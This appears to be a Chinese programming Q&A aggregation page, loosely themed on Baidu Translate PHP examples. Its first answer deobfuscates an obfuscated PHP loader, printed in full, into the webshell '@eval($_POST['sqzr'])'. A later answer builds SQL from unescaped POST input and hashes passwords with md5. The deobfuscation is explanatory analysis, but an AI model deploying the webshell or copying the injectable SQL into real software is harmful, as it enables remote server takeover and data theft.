首页 > 编程知识 正文

放出一个百度翻译的php例子(百度用php)

时间:2023-12-23 21:12:49 阅读:319461 作者:IDRB

本文目录一览:

请详细翻译一下 这句PHP代码的意思

首先看$vbl,是说用把“tistittirti_rtietipltiatice”里的ti替换为空值,得到结果为“str_replace”文本,则下述的vbl都可以看成是str_replace。 得出下述结果 $uf="snc3"; $ka="IEBldmFbsK"; $pjt="CRfUE9TVF"; $iqw="F6ciddKTs="; $bkf = str_replace("k", "", "kbakske6k4k_kdkekckokdke"); $sbp = str_replace("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); $mpy = $sbp('', $bkf($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); --------------------------------------------------------------- 然后看$bkf和$sbp 用k或ctw替换各自文本为空值 得到$bkf=base64_decode 而$sbp=create_function 获得 $uf="snc3"; $ka="IEBldmFbsK"; $pjt="CRfUE9TVF"; $iqw="F6ciddKTs="; $bkf=base64_decode $sbp=create_function $mpy = $sbp('', $bkf($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); --------------------------------------------------------------- 接下来看$mpy,把$sbp和$bkf的值代进去得 $mpy = create_function('', $base64_decode($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 看到里面有$ka,$pjt,$uf,$iqw四个函数值,将上面的各自值代进去, $mpy = create_function('', $base64_decode($str_replace("b", "", “IEBldmFbsKCRfUE9TVFsnc3F6ciddKTs=”))); $mpy(); 而上句又有个替换文本“b”换为空值(这里区分大小写,所以大写B是不用替换的),故换完之后 $mpy = create_function('', $base64_decode(“IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=”)); $mpy(); 再用base64解密 得到IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=是@eval($_POST['sqzr']); 则 $mpy = create_function('', @eval($_POST['sqzr']);); $mpy(); 所以整个代码就是 $mpy = create_function('', @eval($_POST['sqzr']);); 与 $mpy(); 两句而已 看起来是一句话木马的代码(@eval($_POST['sqzr']);),其连接密码为sqzr

求 JS 百度翻译API 示例 谁能给我一个..

这段时间研究一下百度翻译API,结果发现新版的百度翻译较以前的有了很大的变化:

旧版百度翻译的URL地址:

;q=todayfrom=autoto=auto

参数只需要:client_id(API key),q(翻译的内容),from(源语言语种:语言代码或auto),to(目标语言语种:语言代码或auto);

新版百度翻译的URL地址:

;from=ento=zhappid=2015063000000001salt=1435660288sign=f89f9594663708c1605f3d736d01d2d4

参数需要:q(翻译的内容),from(翻译源语言 ,可设置为auto),to(译文语言,不可设置为auto),appid (API key)

salt(随机数),sign(签名);

签名sign生成的方法是:

1、将请求参数中的 APPID(appid), 翻译query(q, 注意为UTF-8编码), 随机数(salt), 以及平台分配的密钥(可在管理控制台查看)

按照 appid+q+salt+密钥 的顺序拼接得到字符串1。

2、对字符串1做md5,得到32位小写的sign。

自己从网上找了一个MD5的加密算法,英文还算正常,但是出现汉字的时候,就会返回一条:

{“error_code”:”54001”,”error_msg”:”Invalid Sign”}

找到错误码列表:

54001 签名错误 请检查您的签名生成方法

没办法,看了一下百度翻译提供的demo:

PHP 版、JS 版、Python 版、C 版

Java呢??木有。。。。。坑爹。。。于是乎JS。。。是不是可以转为Java???经过两天的奋斗。。。。于是乎。。。我放弃了。。。在网上搜寻了一番,返现Java 1.6之后可以直接调用js文件,经过一番调试终于成功了。。。

代码如下:

import java.io.FileReader;

import java.util.Date;

import javax.script.Invocable;

import javax.script.ScriptEngine;

import javax.script.ScriptEngineManager;

public class TestMD5 {

public static void main(String[] args) {

String APPID = "APPID"; // 需要改成自己的APP ID

String KEY = "KEY"; //需要改成自己的密钥

String SALT = Long.toString(new Date().getTime());//随机数,官方提供的是获取时间

String SOURCE = "足球";//翻译内容

String SIGN = "";

ScriptEngineManager manager = new ScriptEngineManager();

ScriptEngine engine = manager.getEngineByName("javascript");

String jsFileName = "md5.js"; // 读取js文件

FileReader reader;

try {

reader = new FileReader(jsFileName);

engine.eval(reader);

if (engine instanceof Invocable) {

Invocable invoke = (Invocable) engine; // 调用merge方法,并传入两个参数

System.out.println(APPID + SOURCE + SALT + KEY);

SIGN = (String) invoke.invokeFunction("MD5",

APPID + SOURCE + SALT + KEY);

System.out.println(SIGN);

}

reader.close();

} catch (Exception e) {

// TODO Auto-generated catch block

e.printStackTrace();

} // 执行指定脚本

}

}1234567891011121314151617181920212223242526272829303132333435363738394041424312345678910111213141516171819202122232425262728293031323334353637383940414243

运行的结果:d8e590e6dcd9034cb0206efdd04a164f

百度提供的MD5在线生成()的结果:常规md5加密($pass)

32位MD5大写:D8E590E6DCD9034CB0206EFDD04A164F

32位MD5小写:d8e590e6dcd9034cb0206efdd04a164f

16位MD5大写:DCD9034CB0206EFD

16位MD5小写:dcd9034cb0206efd

百度翻译开放平台php destoon怎么使用

dsetoon 可以在模板页里 直接写PHP代码

?php echo $a; ?

这样既可!

急,求帮忙,一个简单的php例子

$data = array();

$data['user_name'] = $_POST['user_name'];

$data['password'] = $_POST['password'];

$this-db-insert($data);//插入数据库

这个是最直观的,当然如果是做项目的话,还要做用户名的判断 ,用户信息的判断,提交信息安全的过滤,然后再入库

$data['password'] = md5($_POST['password']);

这里的$this-db-insert(); 是CI框架 的方法,不同的框架有不同的插入方法的

如果 不是框架 里面的话就是

$sql = "insert into table(`user_name`, `password`) values('$data[user_name]','$data[password]')";

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。